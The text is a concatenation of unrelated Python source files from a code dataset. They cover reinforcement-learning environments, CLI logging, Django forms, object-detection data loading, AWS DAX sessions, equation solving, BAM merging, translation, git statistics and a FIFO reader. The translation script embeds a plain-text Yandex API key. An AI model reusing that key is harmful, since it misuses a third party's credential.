self.viewer.add_geom(self.axle)\n\n # Plot track:\n self.track = rendering.Line((0, cart_y), (screen_width, cart_y))\n self.track.set_color(0., 0., 0.)\n self.viewer.add_geom(self.track)\n\n # Update the visualization:\n if self._sim_state is None:\n return None\n\n x = self._sim_state\n cart_x = x[0] * scale + screen_width/2.0\n self.cart_trans.set_translation(cart_x, cart_y)\n self.pole_trans.set_rotation(x[1])\n\n return self.viewer.render(return_rgb_array=mode == 'rgb_array')\n\n\nclass QCartpoleTO(QCartpoleBase):\n\n def __init__(self, fs, fs_ctrl):\n super(QCartpoleTO, self).__init__(fs, fs_ctrl)\n self.dyn = CartpoleDynamics(False)\n\n self._x0 = np.array([0., np.pi, 0., 0.])\n self._sigma_0 = 1.e-4 * np.eye(4)\n\n self._sigma = 1.e-4 * np.eye(4)\n\n self._g = np.array([0., 2. * np.pi, 0., 0.])\n self._gw = np.array([1.e-1, 1.e1, 1.e-1, 1.e-1])\n\n self._uw = np.array([1.e-3])\n\n def init(self):\n return self._x0, self._sigma_0\n\n def dynamics(self, x, u):\n def f(x, u):\n _acc = self.dyn(x, u)\n return np.hstack((x[2], x[3], _acc))\n\n k1 = f(x, u)\n k2 = f(x + 0.5 * self.timing.dt * k1, u)\n k3 = f(x + 0.5 * self.timing.dt * k2, u)\n k4 = f(x + self.timing.dt * k3, u)\n\n xn = x + self.timing.dt / 6. * (k1 + 2. * k2 + 2. * k3 + k4)\n return xn\n\n def features(self, x):\n return x\n\n def features_jacobian(self, x):\n _J = jacobian(self.features, 0)\n _j = self.features(x) - _J(x) @ x\n return _J, _j\n\n def noise(self, x=None, u=None):\n return self._sigma\n\n def cost(self, x, u, a):\n if a:\n _J, _j = self.features_jacobian(getval(x))\n _x = _J(getval(x)) @ x + _j\n return (_x - self._g).T @ np.diag(self._gw) @ (_x - self._g) + u.T @ np.diag(self._uw) @ u\n else:\n return u.T @ np.diag(self._uw) @ u\n","sub_path":"rl/envs/control/quanser/cartpole/cartpole.py","file_name":"cartpole.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"39197954","text":"import os\nimport sys\nimport traceback\nimport click\n\nfrom ..defaults import DEFAULT_QUIET, DEFAULT_TRACEBACK\n\n\nclass Log:\n \"\"\"Warps commands' output to provide the functionality of the\n `quiet` and `traceback` flags.\n\n Attributes:\n quiet (bool): If true, quiets errors.\n traceback (bool): If true, prints the traceback in case of\n an error.\n\n \"\"\"\n\n def __init__(self):\n self.quiet = DEFAULT_QUIET\n self.traceback = DEFAULT_TRACEBACK\n\n def __call__(self, message):\n if self.quiet:\n return\n if self.traceback and sys.exc_info(): # there's an active exception\n message += os.linesep + traceback.format_exc().strip()\n click.echo(click.style(message, fg='red'))\n\n\nlog = Log()\n\n\n@click.group()\n@click.option('--quiet', '-q', is_flag=True, default=DEFAULT_QUIET)\n@click.option('--traceback', '-t', is_flag=True, default=DEFAULT_TRACEBACK)\ndef main(quiet, traceback):\n log.quiet = quiet\n log.traceback = traceback\n","sub_path":"bci/utils/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"272760556","text":"from django import forms\nfrom django.utils.translation import ugettext as _\n\nfrom twitter.models import RealID\n\nclass RealIDForm( forms.Form ):\n\trealID = forms.CharField( label = _( u'Real ID' ) )\n\taccount = forms.CharField( label = _( u'Account' ) )\n\n\tdef __init__( self, user, *args, **kwargs ):\n\t\tsuper( RealIDForm, self ).__init__( *args, **kwargs )\n\n\t\tself.user = user\n\n\tdef save( self ):\n\t\ttry:\n\t\t\trealID = RealID.objects.get( user__exact = self.user, account__exact = self.cleaned_data['account'] )\n\t\t\trealID.name = self.cleaned_data['realID']\n\t\texcept RealID.DoesNotExist:\n\t\t\trealID = RealID( user = self.user, name = self.cleaned_data['realID'], account = self.cleaned_data['account'] )\n\t\trealID.save()\n","sub_path":"twitter/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"527421808","text":"import argparse\nimport os\nimport logging\nimport sys\nimport itertools\n\nimport torch\nimport numpy as np\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, ConcatDataset\nfrom torch.optim.lr_scheduler import CosineAnnealingLR, MultiStepLR\nfrom detection_configuration import load_model_configuration\n\nfrom vision.utils.misc import str2bool, Timer, freeze_net_layers, store_labels\nfrom vision.ssd.ssd import MatchPrior\nfrom vision.ssd.vgg_ssd import create_vgg_ssd\nfrom vision.ssd.mobilenetv1_ssd import create_mobilenetv1_ssd\nfrom vision.ssd.mobilenetv1_ssd_lite import create_mobilenetv1_ssd_lite\nfrom vision.ssd.mobilenet_v2_ssd_lite import create_mobilenetv2_ssd_lite\nfrom vision.ssd.squeezenet_ssd_lite import create_squeezenet_ssd_lite\nfrom vision.datasets.voc_dataset import VOCDataset\nfrom vision.datasets.open_images import OpenImagesDataset\nfrom vision.nn.multibox_loss import MultiboxLoss\nfrom vision.ssd.config import vgg_ssd_config\nfrom vision.ssd.config import mobilenetv1_ssd_config\nfrom vision.ssd.config import squeezenet_ssd_config\nfrom vision.ssd.data_preprocessing import TrainAugmentation, TestTransform\nfrom vision.datasets.coco_dataset import CocoDetection\nfrom vision.datasets.EuroCity_dataset import EuroCity_Dataset\nfrom vision.datasets.EuroCity_dataset import ECP_subsample_dataset\nfrom vision.datasets.EuroCity_dataset_incremental import ECP_table_comm\n# from vision.datasets.VIRAT_DataLoader import VIRAT_Loader\nfrom vision.datasets.VIRAT_DataLoader_V2 import VIRAT_Dataset, VIRAT_table_comm\nfrom active_module_sampler.active_learning_sampler import random_sampler, uncertainty_sampler\nfrom torch.utils.data.sampler import SubsetRandomSampler\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nimport time \n# import pynvml\n# pynvml.nvmlInit()\n# handle = pynvml.nvmlDeviceGetHandleByIndex(0)\ndef memory_info():\n float32_bytes = 4\n free_Mem_bytes = torch.cuda.get_device_properties(0).total_memory - torch.cuda.memory_allocated()\n # free_Mem_bytes = pynvml.nvmlDeviceGetMemoryInfo(handle).free\n float32_item = free_Mem_bytes / float32_bytes\n return float32_item\nSTART_TRAINING_TIME = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime()) \ndef Argments():\n parser = argparse.ArgumentParser(description='Single Shot MultiBox Detector Training With Pytorch')\n \n # Train params\n parser.add_argument('--batch_size', default=33, type=int,\n help='Batch size for training')\n parser.add_argument('--num_epochs', default=121, type=int,\n help='the number epochs')\n parser.add_argument('--num_workers', default=16, type=int,\n help='Number of workers used in dataloading')\n parser.add_argument('--config', default='config/prague_combine_balance.yaml',help = 'configuration')\n args = parser.parse_args()\n \n print(args)\n configuration = load_model_configuration(args.config)\n configuration[\"flow_control\"] = {}\n variable_dict = vars(args)\n for key in variable_dict.keys():\n configuration[\"flow_control\"][key] = variable_dict[key]\n\n return configuration\ndef main_active_mode(args):\n Query_iteration = 10\n create_net = lambda num: create_mobilenetv2_ssd_lite(num, width_mult=args['detection_model'][\"width_mult\"])\n config = mobilenetv1_ssd_config\n train_loader, val_loader, num_classes = dataset_loading(args,config)\n\n target_transform = MatchPrior(config.priors, config.center_variance, config.size_variance, 0.5)\n test_transform = TestTransform(config.image_size, config.image_mean, config.image_std)\n active_dataset = VIRAT_table_comm( args[\"Datasets\"][\"virat_seq\"][\"train_image_path\"],\n args[\"Datasets\"][\"virat_seq\"][\"train_anno_path\"],\n transform = test_transform, target_transform = target_transform, downpurning_ratio = 0.2)\n\n labeled, unlabeled = train_loader.dataset.dataset_information()\n query_item = len(unlabeled) // Query_iteration\n\n active_dataset.Active_mode()\n\n for q_iter in range(Query_iteration):\n #if q_iter != 0:\n active_dataset.Active_mode()\n labeled, unlabeled = active_dataset.dataset_information()\n query_index = np.random.choice(unlabeled,query_item, replace = False)\n train_loader.dataset.setting_be_selected_sample(query_index)\n active_dataset.setting_be_selected_sample(query_index)\n train_loader.dataset.training_mode()\n train(args, train_loader)\ndef main(args):\n \n create_net = lambda num: create_mobilenetv2_ssd_lite(num, width_mult=args['detection_model'][\"width_mult\"])\n config = mobilenetv1_ssd_config\n \n\n train_loader, val_loader, num_classes = dataset_loading(args,config)\n \n \n for epoch in range(0, args['flow_control']['num_epochs']):\n train(args, train_loader)\n \n # if epoch % args['flow_control']['validation_epochs'] == 0 or epoch == args['flow_control']['num_epochs'] - 1:\n # val_loss, val_regression_loss, val_classification_loss = test(args, val_loader)\n # logging.info(\n # \"Epoch: {}, \".format(epoch) +\n # \"Validation Loss: {:.4f}, \".format(val_loss) +\n # \"Validation Regression Loss {:.4f}, \".format(val_regression_loss) +\n # \"Validation Classification Loss: {:.4f}\".format(val_classification_loss)\n # )\n\ndef train(args, loader):\n \n legal_label = {i:0 for i in range(7)}\n for i, data in enumerate(loader):\n images, boxes, labels = data\n sta_map = (torch.isinf(boxes[...,2]) + torch.isinf(boxes[...,3])) ==0\n item = torch.sum(sta_map)\n item_label = labels[sta_map]\n \n for index in range(7):\n legal_label[index] += torch.sum(item_label==index).item()\n \n labels = labels.type(\"torch.LongTensor\")\n \n logging.debug(\"==== Enum img shape {} & type {} =====\".format(images.size(), images.type()))\n logging.debug(\"==== Enum boxes shape {} & type {} =====\".format(boxes.size(), boxes.type()))\n logging.debug(\"==== Enum label shape {} & type {} =====\".format(labels.size(), labels.type()))\n\n logging.debug(\"------ Enumerate : {} -------\".format(i))\n continue\n print(legal_label)\n import pdb;pdb.set_trace()\n\n\ndef test(args,loader):\n for _, data in enumerate(loader):\n images, boxes, labels = data\n # import pdb;pdb.set_trace()\n \ndef dataset_loading(args,config): \n\n train_transform = TrainAugmentation(config.image_size, config.image_mean, config.image_std)\n target_transform = MatchPrior(config.priors, config.center_variance,\n config.size_variance, 0.5)\n test_transform = TestTransform(config.image_size, config.image_mean, config.image_std)\n\n #dataset = VIRAT_Dataset(args[\"Datasets\"][\"virat_seq\"][\"train_image_path\"], \n # args[\"Datasets\"][\"virat_seq\"][\"train_anno_path\"],\n # transform=train_transform, target_transform=target_transform, downpurning_ratio = 0.2) #0.2\n dataset = VIRAT_table_comm( args[\"Datasets\"][\"virat_seq\"][\"train_image_path\"],\n args[\"Datasets\"][\"virat_seq\"][\"train_anno_path\"],\n transform = train_transform, target_transform = target_transform, downpurning_ratio = 0.2)\n # dataset = VIRAT_Dataset(args[\"Datasets\"][\"virat_seq\"][\"train_image_path\"], \n # args[\"Datasets\"][\"virat_seq\"][\"train_anno_path\"],\n # transform=train_transform, downpurning_ratio = 0.05) #0.2\n \n label_file = \"\"\n if os.path.exists(label_file):\n store_labels(label_file, dataset.class_names)\n logging.info(dataset)\n num_classes = len(dataset.class_names)\n \n train_dataset = dataset\n \n train_loader = DataLoader(train_dataset, args[\"flow_control\"][\"batch_size\"],\n num_workers=args[\"flow_control\"][\"num_workers\"],\n shuffle=True)\n \n val_dataset = VIRAT_Dataset(args[\"Datasets\"][\"virat_seq\"][\"train_image_path\"], \n args[\"Datasets\"][\"virat_seq\"][\"train_anno_path\"],\n transform=train_transform, target_transform=target_transform,downpurning_ratio = 0.2 * 3./9.)\n val_loader = DataLoader(val_dataset, args[\"flow_control\"][\"batch_size\"],\n num_workers=args[\"flow_control\"][\"num_workers\"],\n shuffle=False)\n logging.info(\"Build network.\")\n return train_loader, val_loader, num_classes\nif __name__==\"__main__\":\n args = Argments()\n #main(args)\n main_active_mode(args)\n # main_acitve_mode(args)\n","sub_path":"pilot_test/test_datasets.py","file_name":"test_datasets.py","file_ext":"py","file_size_in_byte":8849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"252146995","text":"def triangle(n):\n tN = ((n ** 2) + n) / 2\n return int(tN)\n\ndef pentagon(n):\n pN = n *((3 * n) - 1) / 2\n return int(pN)\n\ndef hexagon(n):\n hN = n * ((2 * n) - 1)\n return int(hN)\n\n\n\ndef questionFortyFive():\n triangle = 1\n add = 2\n endLoop = False\n while not endLoop:\n triangle = triangle + add\n add = add + 1\n if pentagonalCheck(triangle) and hexagonalCheck(triangle):\n print(triangle)\n if triangle > 50000:\n endLoop = True\n return triangle\n","sub_path":"001-099/045/todd.py","file_name":"todd.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600979764","text":"# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n# use this file except in compliance with the License. A copy of the License\n# is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on\n# an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n# express or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\nimport botocore, boto3\n\nfrom .AmazonDaxClient import AmazonDaxClient\n\ndef is_boto3_session(session):\n return isinstance(session, boto3.session.Session)\n\nclass DaxSession(boto3.session.Session):\n @classmethod\n def from_boto3(cls, session, endpoints):\n ''' Create a DaxSession from a boto3 Session by copying the internals. '''\n # This makes a copy in case the session is reused in other contexts\n # Hopefully copying doesn't have any other side-effects\n return cls(session._session.credentials.aws_access_key_id,\n session._session.credentials.aws_secret_access_key,\n session._session.credentials.aws_session_token,\n session.region_name,\n session._session,\n session.profile_name,\n endpoints)\n\n def __init__(self, aws_access_key_id=None, aws_secret_access_key=None,\n aws_session_token=None, region_name=None,\n botocore_session=None, profile_name=None, endpoints=None):\n super(DaxSession, self).__init__(aws_access_key_id=aws_access_key_id, \n aws_secret_access_key=aws_secret_access_key, \n aws_session_token=aws_session_token,\n region_name=region_name)\n self.endpoints = endpoints\n\n def client(self, service_name, region_name=None, api_version=None,\n use_ssl=True, verify=None, endpoint_url=None,\n aws_access_key_id=None, aws_secret_access_key=None,\n aws_session_token=None, config=None):\n ''' Create a DAX client instead of a dynamodb client. '''\n if service_name != 'dynamodb' and service_name != 'dax':\n raise ValueError('service_name must be \"dynamodb\" or \"dax\"')\n\n return AmazonDaxClient(self,\n region_name=region_name, api_version=api_version,\n use_ssl=use_ssl, verify=verify, endpoint_url=endpoint_url,\n aws_access_key_id=aws_access_key_id,\n aws_secret_access_key=aws_secret_access_key,\n aws_session_token=aws_session_token, config=config,\n endpoints=self.endpoints)\n \n def resource(self, service_name, region_name=None, api_version=None,\n use_ssl=True, verify=None, endpoint_url=None,\n aws_access_key_id=None, aws_secret_access_key=None,\n aws_session_token=None, config=None):\n ''' Create a DAX resource, which is really just a dynamodb resource with a different client. '''\n if service_name != 'dynamodb' and service_name != 'dax':\n raise ValueError('service_name must be \"dynamodb\" or \"dax\"')\n\n res = super(DaxSession, self).resource('dynamodb',\n region_name=region_name, api_version=api_version,\n use_ssl=use_ssl, verify=verify, endpoint_url=endpoint_url,\n aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key,\n aws_session_token=aws_session_token, config=config)\n\n # BLACK MAGIC (not really)\n # The context manager methods __enter__ and __exit__ must be defined on the type, not the instance\n # But what we have is an instance with a dynamically-generated base class, and sticking the methods on\n # that might propagate to other instances.\n # It looks like the current version of boto generates a new class on every call to .resource()\n # but I don't want to rely on that.\n # Soooo ... we generate a new dynamic class that uses THAT dynamic class as its base,\n # and stick __enter__ and __exit__ on it.\n dax_svc_res_attrs = {\n '__enter__': _resource_enter,\n '__exit__': _resource_exit\n }\n dax_svc_res = type('DaxServiceResource', (type(res),), dax_svc_res_attrs)\n\n # Then, make the new class the base class of the existing instance\n res.__class__ = dax_svc_res\n\n # Now the resource has our custom class as its base but all other attributes and behaviour are preserved\n\n return res\n\ndef _resource_enter(self):\n return self\n\ndef _resource_exit(self, exc_type, exc_value, traceback):\n return self.meta.client.__exit__(exc_type, exc_value, traceback)\n\n","sub_path":"aws-dev/awsdev63/venv/Lib/site-packages/amazondax/Resource.py","file_name":"Resource.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"200163244","text":"import argparse\n\nprint('Лабораторная работа №1', end='\\n')\nprint('Выполнил студент: Самойлов А.М. Группа: ИУ5-54Б', end='\\n')\ncomplete = 'y'\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--a\", help=\"Коэффициент А биквадратного уравнения\", type=float)\nparser.add_argument(\"--b\", help=\"Коэффициент B биквадратного уравнения\", type=float)\nparser.add_argument(\"--c\", help=\"Коэффициент C биквадратного уравнения\", type=float)\nargs = parser.parse_args()\nwhile complete == 'y':\n a = args.a\n b = args.b\n c = args.c\n if a is None and b is None and c is None:\n a = input('Введите значение первого аругмента: ')\n b = input('Введите значение второго аргумента: ')\n c = input('Введите значение третьего аргумента: ')\n try:\n a = float(a)\n b = float(b)\n c = float(c)\n except ValueError: # Проверка на ошибку неверного формата (введен�� буквы)\n print('Введены некорректные символы, повторите ввод.')\n else:\n discriminant = b ** 2 - 4 * a * c\n if a == 0 and b == 0 and c == 0:\n print(\n \"Коэффициент a и b не может быть равен нулю. Если a=0 b=0, то уравнение будет линейным (не \"\n \"квадратным). \")\n elif a == 0:\n if c < 0:\n answer = pow(-c / b, 0.5)\n print('x1 = ' + str(answer))\n print('x2 = ' + str(-answer))\n elif c == 0:\n print(\"x = 0\")\n else:\n print(\"\\033[31mКорней нет!\\033[0m\")\n else:\n if discriminant < 0:\n print('Действительных корней нет')\n elif discriminant == 0:\n x = -b / (2 * a)\n print('x1 = ' + str(x ** 0.5))\n print('x2 = ' + str(-x ** 0.5))\n else:\n x1 = (-b + discriminant ** 0.5) / (2 * a)\n x2 = (-b - discriminant ** 0.5) / (2 * a)\n\n if x1 < 0 and x2 < 0:\n print(\"Корней нет\")\n elif x1 > 0 and x2 < 0:\n answer1 = x1 ** 0.5\n answer2 = -x1 ** 0.5\n print('Корнями уравнения являются:')\n print('x1 = ' + str(answer1))\n print('x2 = ' + str(answer2))\n elif x1 < 0 and x2 > 0:\n answer1 = x2 ** 0.5\n answer2 = -x2 ** 0.5\n print('Корнями уравнения являются:')\n print('x1 = ' + str(answer1))\n print('x2 = ' + str(answer2))\n else:\n answer1 = x1 ** 0.5\n answer2 = -x1 ** 0.5\n answer3 = x2 ** 0.5\n answer4 = -x2 ** 0.5\n print('Корнями уравнения являются:')\n print('x1 = ' + str(answer1))\n print('x2 = ' + str(answer2))\n print('x3 = ' + str(answer3))\n print('x4 = ' + str(answer4))\n print('Чтобы продолжить введите \"y\", для выхода введите любой символ.')\n complete = input()\nelse:\n print('Выход из программы')\n exit()\n","sub_path":"Lab1/Lab1.py","file_name":"Lab1.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"57766144","text":"#!/usr/bin/env python3\nfrom bisect import bisect_left\nfrom dataclasses import dataclass, field\nimport datetime\nfrom decimal import Decimal, getcontext\nimport git\nimport os\nimport re\nimport subprocess\nfrom typing import List, Set\n\n\n# git clone git@github.com:kortina/_notebook.git stats_for__notebook\n# git log --pretty=\"format:%h @ %ai\" --reverse | head -1\n# 84fcd92 @ 2021-01-18 17:04:38 -0800\n\n\nclass S:\n # default settings\n # override with cli args\n DEBUG = True\n ORIGIN_URL = \"git@github.com:kortina/_notebook.git\"\n CHECKOUT_DIR = \"/Users/kortina/src/stats_for__notebook\"\n FIRST_D = \"2021-02-01\"\n LAST_D = \"2022-01-01\"\n REGEX = re.compile(r\"\\.(fountain|md|markdown|txt)$\", re.I)\n\n def __init__(self) -> None:\n self.files: List[Txt] = []\n self.lines_set: Set[str] = set([])\n\n\ndef log(anything):\n if S.DEBUG:\n print(f\"{anything}\")\n\n\n# represents a Txt file (markdown, fountain)\n# and stats about it (number of lines, words, etc)\nclass Txt:\n def __init__(self, filepath: str, count_on_init: int = True) -> None:\n self.filepath = filepath\n self.lines_set: Set[str] = set([])\n self.line_count: int = 0\n self.line_non_blank_count: int = 0\n self.word_count: int = 0\n if count_on_init:\n self.run_counts()\n\n def kind(self) -> str:\n if re.search(re.compile(r\"\\.(fountain)$\", re.I), self.filepath):\n return \"fountain\"\n if re.search(re.compile(r\"\\.(md|markdown)$\", re.I), self.filepath):\n return \"markdown\"\n if re.search(re.compile(r\"\\.(txt)$\", re.I), self.filepath):\n return \"txt\"\n return re.sub(r\"(.*)\\.(^[\\.]+)$\", \"\\2\", self.filepath)\n\n def run_counts(self):\n self.line_count = 0\n self.word_count = 0\n with open(self.filepath) as file:\n for line in file:\n self.line_count += 1\n if line.strip() != \"\":\n self.line_non_blank_count += 1\n self.word_count += len(line.split())\n self.lines_set.add(line.strip())\n\n def filename(self) -> str:\n return self.filepath.replace(S.CHECKOUT_DIR, \"\")\n\n @classmethod\n def print_header(cls) -> List[str | int]:\n return [\"name\", \"words\", \"lines\", \"set_lines\"]\n\n def print_data(self) -> List[str | int]:\n return [self.filename(), self.word_count, self.line_count, len(self.lines_set)]\n\n\ndef run_cmd(cmd_args: list, cwd: str | None) -> None:\n cmd = \" \".join(cmd_args)\n if S.DEBUG:\n print(f\"running:\\n{cmd}\")\n\n subprocess.run(cmd_args, check=True, cwd=cwd)\n\n\nclass Repo:\n ORIGIN_NOT_SET = \"ORIGIN_NOT_SET\"\n\n def __init__(self, origin_url: str, checkout_dir: str) -> None:\n self.origin_url: str = origin_url\n self.checkout_dir: str = checkout_dir\n self.git_repo: git.Repo\n if self.repo_exists():\n self.git_repo = git.Repo.init(self.checkout_dir)\n else:\n self.git_repo = git.Repo.clone_from(\n self.origin_url, self.checkout_dir, branch=\"master\"\n )\n # make sure local master tracks remote origin\n self.git_repo.heads.master.set_tracking_branch(\n self.git_repo.remotes.origin.refs.master\n )\n\n # fetch the latest from remote origin\n self.git_repo.remotes.origin.fetch()\n\n # checkout master\n self.git_repo.git.checkout(\"master\")\n\n # submodule update --init\n for submodule in self.git_repo.submodules:\n submodule.update(init=True)\n\n def repo_exists(self) -> bool:\n return os.path.isdir(self.checkout_dir)\n\n @classmethod\n def root_repo(cls):\n return Repo(S.ORIGIN_URL, S.CHECKOUT_DIR)\n\n def master_commits(self):\n # return root_repo().heads.master.log()\n # return root_repo().remotes.origin.refs.master.log()\n # returns newest to oldest\n commits = list(self.git_repo.iter_commits(\"master\"))\n # sort oldest to newest\n commits.reverse()\n return commits\n\n def first_commit_date(self) -> datetime.datetime:\n commits = self.master_commits()\n first_commit = commits[0]\n return datetime_for_commit(first_commit)\n\n # https://stackoverflow.com/a/7380905/382912\n # bisect with lambda:\n def newest_commit_before_date(self, d: str):\n # Find the newest commit that occurred before the date d\n # d: str \"yyyy-mm-dd\"\n # via:\n # https://docs.python.org/3/library/bisect.html\n # \"Find rightmost value less than x\"\n dt = datetime_from_string(d)\n print(f\"finding commit before: {dt}\")\n\n commits = self.master_commits()\n i = bisect_left(commits, x=dt, key=datetime_for_commit)\n if i:\n return commits[i - 1]\n raise ValueError\n\n def checkout_repo_at_date(self, d: str):\n # first do a hard reset\n self.git_repo.git.reset(\"--hard\", \"origin/master\")\n\n # get the commit for d\n commit_at_date = self.newest_commit_before_date(d)\n log(\n f\"Checking out {commit_at_date.hexsha[0:6]}\"\n f\" from {datetime_for_commit(commit_at_date)}\"\n f\" for {self.checkout_dir}\"\n )\n self.git_repo.git.checkout(commit_at_date.hexsha)\n\n # for each submodule, check it out at the date\n for submodule in self.git_repo.submodules:\n sub_repo_path = os.path.join(self.checkout_dir, submodule.path)\n sub_repo = Repo(Repo.ORIGIN_NOT_SET, sub_repo_path)\n sub_repo.checkout_repo_at_date(d)\n\n\ndef datetime_for_commit(commit) -> datetime.datetime:\n # t = commit.time[0]\n t = commit.authored_date\n d = datetime.datetime.fromtimestamp(t)\n return d\n\n\ndef datetime_from_string(d: str) -> datetime.datetime:\n # Given a string \"yyyy-mm-dd\" return a datetime object\n yyyy, mm, dd = d.split(\"-\")\n return datetime.datetime(int(yyyy), int(mm), int(dd), 0, 0)\n\n\n# iterative_lev (edit distance)\n# https://python-course.eu/applications-python/levenshtein-distance.php\n\n# % character similarity\n\n\ndef txt_files() -> List[Txt]:\n _files = []\n for subdir, dirs, files in os.walk(S.CHECKOUT_DIR):\n for filename in files:\n filepath = os.path.join(subdir, filename)\n if re.search(S.REGEX, filepath):\n _files.append(Txt(filepath))\n print(filepath.replace(\"/Users/kortina/src/stats_for__notebook/\", \"\"))\n return _files\n\n\n@dataclass\nclass Summary:\n kind: str\n line_count: int = 0\n line_non_blank_count: int = 0\n lines_set: Set[str] = field(default_factory=set)\n word_count: int = 0\n file_count: int = 0\n\n\nK_ALL = \"ALL\"\n\n\ndef print_summary() -> None:\n summaries = {K_ALL: Summary(kind=K_ALL)}\n data: List[List[str | int]] = [Txt.print_header()]\n\n for t in txt_files():\n data.append(t.print_data())\n for k in [K_ALL, t.kind()]:\n if k not in summaries:\n summaries[k] = Summary(kind=k)\n\n summaries[k].file_count += 1\n summaries[k].line_count += t.line_count\n summaries[k].line_non_blank_count += t.line_non_blank_count\n summaries[k].word_count += t.word_count\n summaries[k].lines_set = summaries[k].lines_set.union(t.lines_set)\n\n for datum in data:\n print(\"\\t\".join([str(d) for d in datum]))\n\n getcontext().prec = 2\n\n print(\"Repo stats:\")\n print(\n \"\\t\".join(\n [\n \"kind\",\n \"files\",\n \"words\",\n \"lines\",\n \"lines_non_blank\",\n \"distinct_lines\",\n \"pct_lines_distinct\",\n \"pct_lines_non_blank_distinct\",\n ]\n )\n )\n for k, v in summaries.items():\n pct_lines_distinct: str | Decimal = \"n/a\"\n pct_lines_non_blank_distinct: str | Decimal = \"n/a\"\n if v.line_count > 0:\n pct_lines_distinct = Decimal(len(v.lines_set)) / Decimal(v.line_count)\n if v.line_non_blank_count > 0:\n pct_lines_non_blank_distinct = Decimal(len(v.lines_set)) / Decimal(\n v.line_non_blank_count\n )\n print(\n \"\\t\".join(\n [\n str(s)\n for s in [\n v.kind,\n v.file_count,\n v.line_count,\n v.line_non_blank_count,\n v.word_count,\n len(v.lines_set),\n pct_lines_distinct,\n pct_lines_non_blank_distinct,\n ]\n ]\n )\n )\n\n\ndef main() -> None:\n repo = Repo.root_repo()\n print(f\"first_commit_date: {repo.first_commit_date()}\")\n c1 = repo.newest_commit_before_date(S.FIRST_D)\n print(f\"newest commit before {S.FIRST_D}: {c1.hexsha} @ {datetime_for_commit(c1)}\")\n\n if False: # TODO: remove this\n repo.checkout_repo_at_date(datetime_for_commit(c1).strftime(\"%Y-%m-%d\"))\n repo.checkout_repo_at_date(\"2021-12-15\")\n\n # print(\"writing_files:\")\n print_summary()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bin/stats_for_repo.py","file_name":"stats_for_repo.py","file_ext":"py","file_size_in_byte":9199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"563119481","text":"'''\nCreated on Jul 24, 2017\n\n@author: dgrewal\n'''\nimport subprocess\nimport multiprocessing\nfrom single_cell.utils import bamutils\nfrom single_cell.utils import helpers\n\nfrom subprocess import Popen, PIPE\n\n\ndef merge_bam_worker(input_bam_files, output_bam, region, kwargs):\n\n bamutils.bam_merge(\n input_bam_files, output_bam,\n region=region,\n **kwargs)\n\n bamutils.bam_index(\n output_bam, output_bam+'.bai',\n **kwargs)\n\n\ndef merge_bams(bams, outputs, regions, docker_config, ncores=None):\n\n count = multiprocessing.cpu_count()\n\n if ncores:\n count = min(ncores, count)\n\n pool = multiprocessing.Pool(processes=count)\n\n tasks = []\n\n bams = bams.values()\n\n for region in regions:\n output_bam = outputs[region]\n\n region = '{}:{}-{}'.format(*region.split('-'))\n task = pool.apply_async(merge_bam_worker,\n args=(bams, output_bam, region, docker_config)\n )\n tasks.append(task)\n\n pool.close()\n pool.join()\n\n [task.get() for task in tasks]\n\n","sub_path":"single_cell/workflows/merge_bams/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"374821026","text":"import requests\n\n\ndef translate_it(source_file, target_file, source_lang, target_lang = 'ru'):\n\n url = 'https://translate.yandex.net/api/v1.5/tr.json/translate'\n key = 'trnsl.1.1.20161025T233221Z.47834a66fd7895d0.a95fd4bfde5c1794fa433453956bd261eae80152'\n\n langs = f'{source_lang}-{target_lang}'\n\n with open(source_file) as text:\n\n params = {\n 'key': key,\n 'lang': langs,\n 'text': text,\n }\n response = requests.post(url, params=params).json()\n translated_text = ' '.join(response.get('text', []))\n\n with open(target_file, 'w', encoding='utf8') as text:\n text.write(translated_text)\n\n\nif __name__ == \"__main__\":\n translate_it('DE.txt', 'DE_tran.txt', 'de', 'en')\n translate_it('ES.txt', 'ES_tran.txt', 'es')\n translate_it('FR.txt', 'FR_tran.txt', 'fr', 'es')\n","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"201149371","text":"#!/usr/bin/python\n\nimport os, sys\n\n# open a fifo queue for reading, read 10 strings, close fifo\n# reads text from another queue sent by the reader program\nfilename = \"q1\"\npipe = open(filename, \"r\")\nline1 = pipe.readline() [:-1]\nline = pipe.readline()\nos.remove(filename)\nf1 = file(\"q2\", \"w+\")\nstr1 = \"\\n\\n\\n\"\nstr3 = \"\\n\"\nstr4 = \"\\n\\n\\n\\n\"\nstr5 = 